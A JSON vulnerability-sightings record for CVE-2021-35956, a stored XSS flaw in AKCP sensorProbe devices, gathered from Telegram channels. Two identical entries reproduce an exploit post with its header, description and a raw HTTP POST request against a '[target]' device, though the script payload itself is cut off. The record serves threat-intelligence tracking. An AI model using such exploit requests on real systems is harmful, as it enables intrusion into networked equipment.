{"vulnerability": "CVE-2021-35956", "sightings": [{"uuid": "ded04998-b7bd-47ff-bea1-20a487693bd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35956", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/737", "content": "CVE-2021-35956 AKCP sensorProbe SPX476 XSS\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-35956_AKCP_sensorProbe_SPX476_XSS%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-09-21T04:42:19.000000Z"}, {"uuid": "3bb1cfee-78fa-47ca-8d8b-7b994959dfea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35956", "type": "seen", "source": "https://t.me/hacking_Attack/15123", "content": "Exploit Collector\nAKCP sensorProbe SPX476 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png \nAKCP sensorProbe SPX476 suffers from multiple cross site scripting vulnerabilities.\n\nMD5 | fdb80ed4c9dc2db28ae6596c6da42519\n\nDownload\n# Exploit Title: AKCP sensorProbe SPX476 - 'Multiple' Cross-Site Scripting (XSS)\n# Date: 07-01-2021\n# Exploit Author: Tyler Butler\n# Vendor Homepage: https://www.akcp.com/\n# Software Link: https://www.akcp.com/support-center/customer-login/sensorprobe-series-firmware-download/\n# Advisory: https://tbutler.org/2021/06/28/cve-2021-35956\n# Version: < SP480-20210624\n# CVE: CVE-2021-35956\n\n# Description: Stored cross-site scripting (XSS) in the embedded webserver of AKCP sensorProbe before SP480-20210624 enables remote authenticated attackers to introduce arbitrary JavaScript via the Sensor Description, Email (from/to/cc), System Name, and System Location fields.\n1) Stored Cross-Site Scripting via System Settings \n\nPOST /system?time=32e004c941f912 HTTP/1.1\nHost: [target]\nContent-Length: 114\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://[target]\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://[target]/system?time=32e004c941f912\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\n_SA01=System+Namer&_SA02=RDC&_SA03=Name", "creation_timestamp": "2026-09-01T20:02:34.319232Z"}, {"uuid": "99b85e4b-fbb8-4516-9b4e-9cb2e19d4cc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35956", "type": "seen", "source": "https://t.me/hacking_Attack/15123", "content": "Exploit Collector\nAKCP sensorProbe SPX476 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png \nAKCP sensorProbe SPX476 suffers from multiple cross site scripting vulnerabilities.\n\nMD5 | fdb80ed4c9dc2db28ae6596c6da42519\n\nDownload\n# Exploit Title: AKCP sensorProbe SPX476 - 'Multiple' Cross-Site Scripting (XSS)\n# Date: 07-01-2021\n# Exploit Author: Tyler Butler\n# Vendor Homepage: https://www.akcp.com/\n# Software Link: https://www.akcp.com/support-center/customer-login/sensorprobe-series-firmware-download/\n# Advisory: https://tbutler.org/2021/06/28/cve-2021-35956\n# Version: < SP480-20210624\n# CVE: CVE-2021-35956\n\n# Description: Stored cross-site scripting (XSS) in the embedded webserver of AKCP sensorProbe before SP480-20210624 enables remote authenticated attackers to introduce arbitrary JavaScript via the Sensor Description, Email (from/to/cc), System Name, and System Location fields.\n1) Stored Cross-Site Scripting via System Settings \n\nPOST /system?time=32e004c941f912 HTTP/1.1\nHost: [target]\nContent-Length: 114\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://[target]\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://[target]/system?time=32e004c941f912\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\n_SA01=System+Namer&_SA02=RDC&_SA03=Name", "creation_timestamp": "2026-09-02T01:03:09.008852Z"}]}